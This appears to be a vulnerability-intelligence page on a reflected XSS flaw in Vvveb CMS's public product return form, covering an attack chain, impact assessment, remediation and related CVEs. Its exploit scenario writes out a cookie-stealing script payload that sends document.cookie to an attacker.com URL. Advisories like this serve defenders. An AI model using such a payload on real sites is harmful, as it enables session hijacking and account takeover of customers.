Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft phishing link with XSS payload
-
DeliveryVictim clicks link to malicious form
-
ExploitSubmit form to return endpoint
-
InstallError message renders with injected script
-
C2JavaScript executes in victim browser
-
ExecuteSteal session cookies
-
ImpactAccount takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target Vvveb CMS installation has the product return form feature enabled and publicly accessible, which is the default configuration for e-commerce deployments. The victim must be tricked into submitting a form with attacker-controlled customer_order_id parameter, typically through a crafted phishing email, malicious QR code, or social engineering directing them to a pre-filled return form. No authentication is required to access the vulnerable endpoint (PR:N in CVSS vector). User interaction (UI:P) is the primary limiting factor - attackers cannot execute code directly but must convince victims to trigger the vulnerable code path by submitting the form. The vulnerability affects the default installation with no special configuration needed, making it exploitable against standard Vvveb deployments running versions before 1.0.8.3. |
| Impact | Real-world risk is moderate to significant for public-facing Vvveb CMS installations. The CVSS 4.0 vector shows PR:N (no privileges required) and AC:L (low attack complexity), meaning any internet user can exploit this without authentication or specialized conditions. However, UI:P (user interaction required) is a limiting factor - victims must submit a form containing the malicious payload, typically via social engineering or a crafted link. The CVSS score of 5.3 reflects limited direct impact (VC:N/VI:N/VA:N on the vulnerable system), but subsequent scope impact SC:L/SI:L indicates the attack can affect victim sessions through cookie theft, session hijacking, or credential harvesting. No EPSS or KEV data available, and no public POC identified, suggesting exploitation remains opportunistic rather than widespread. The GitHub security advisory confirms patch availability in version 1.0.8.3, released by the maintainer givanz. Priority depends on deployment context: high-priority for public e-commerce sites with customer return portals, lower for internal-only instances. The requirement for user interaction and lack of observed exploitation campaigns mitigate urgency compared to unauthenticated RCE, but XSS remains a serious web security concern for stealing credentials and session tokens. |
| Exploit ScenarioDerived | An attacker crafts a malicious link or phishing page that mimics the Vvveb store's product return process. The fake form submits to the legitimate return endpoint with customer_order_id set to <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. When a legitimate customer submits this pre-filled form, Vvveb processes the invalid order ID and displays the error message with the embedded script executed in their browser. The JavaScript steals session cookies and sends them to the attacker's server, enabling account takeover and unauthorized access to order history, personal information, and payment methods. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 15, 2026
Unauthenticated reflected cross-site scripting (XSS) in Vvveb CMS versions prior to 1.0.8.3 enables attackers to execute arbitrary JavaScript in victim browsers via the public product return form. The customer_order_id parameter is reflected without sanitization in error messages when order lookups fail, allowing HTML injection. No public exploit identified at time of analysis. While CVSS 5.3 indicates moderate severity, the unauthenticated attack vector (PR:N) and low complexity (AC:L) make this readily exploitable against any site visitor, though user interaction (UI:P) is required to submit the malicious form.
RemediationAI
Upgrade to Vvveb CMS version 1.0.8.3 or later, which contains the fix for this reflected XSS vulnerability. Download the patched version from the official Vvveb GitHub repository and follow standard CMS upgrade procedures including database backup and file replacement. Review the security advisory at https://github.com/givanz/Vvveb/security/advisories/GHSA-3xwm-8f6m-cfc6 for additional upgrade guidance. If immediate patching is not feasible, implement compensating controls: deploy a web application firewall (WAF) with XSS detection rules targeting the customer_order_id parameter in POST requests to the return form endpoint, though this may cause false positives requiring tuning. Additionally, implement Content Security Policy (CSP) headers with script-src 'self' to limit inline JavaScript execution, noting this may break legitimate dynamic features and requires testing. Review application logs for suspicious patterns in customer_order_id submissions containing script tags or event handlers as potential exploitation indicators. These workarounds reduce but do not eliminate risk, making upgrade the definitive solution.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in Vvveb CMS's customer-facing order return functionality, specifically in the error handling logic for failed order lookups. When a user submits the product return form with an invalid order ID, the application constructs an error message by directly concatenating the user-supplied customer_order_id POST parameter into the string 'Order %s not found!' without HTML entity encoding or output escaping. This templated error message is then rendered in the frontend view, allowing injection of arbitrary HTML tags and JavaScript event handlers. This is a classic reflected XSS vulnerability (CWE-79) where untrusted input flows directly to a web page output context without proper sanitization. The affected component appears to be a publicly accessible feature requiring no authentication, making it a broad attack surface. Vvveb CMS is built on PHP and uses a templating system that failed to apply output encoding in this specific error path.
Know when Vvveb gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, there is an unauthenticated reflected cross-site scripting (XSS) issue in the public product return form in Vvveb CMS. The customer_order_id POST parameter is inserted into the Order %s not found! error message when the order lookup fails, and that message is rendered in the frontend template without HTML escaping. As a result, attacker-controlled HTML/JavaScript executes in the submitting user's browser. This vulnerability is fixed in 1.0.8.3.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
An issue in vvveb CMS v.1.0.6 allows a remote attacker to execute arbitrary code via the Plugin mechanism. Rated critica
A vulnerability was found in givanz Vvveb 1.0.5. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploi
Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute
Reflected Cross-Site Scripting (XSS) vulnerability in VvvebJs before version 1.7.7, allows remote attackers to execute a
A security flaw has been discovered in givanz Vvveb up to 1.0.7.2. Rated medium severity (CVSS 5.5), this vulnerability
A security vulnerability has been detected in givanz Vvveb 1.0.7.2. Rated medium severity (CVSS 5.3), this vulnerability
Remote code execution in Vvveb CMS v1.0.8 allows authenticated administrators to execute arbitrary system commands as ww
Remote code execution in Vvveb CMS versions prior to 1.0.8.1 allows unauthenticated attackers to inject arbitrary PHP co
Hard-coded credentials in Vvveb's Docker deployment expose the entire application database to unauthenticated remote att
Stored cross-site scripting in Vvveb prior to 1.0.8.1 allows authenticated users with media upload and rename permission
Insecure Direct Object Reference in Vvveb CMS prior to 1.0.8.4 allows any authenticated low-privileged Vendor to read, d
Broken object-level authorization in Vvveb CMS prior to 1.0.8.4 allows an authenticated low-privilege Vendor to access,
EUVD-2026-30583
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB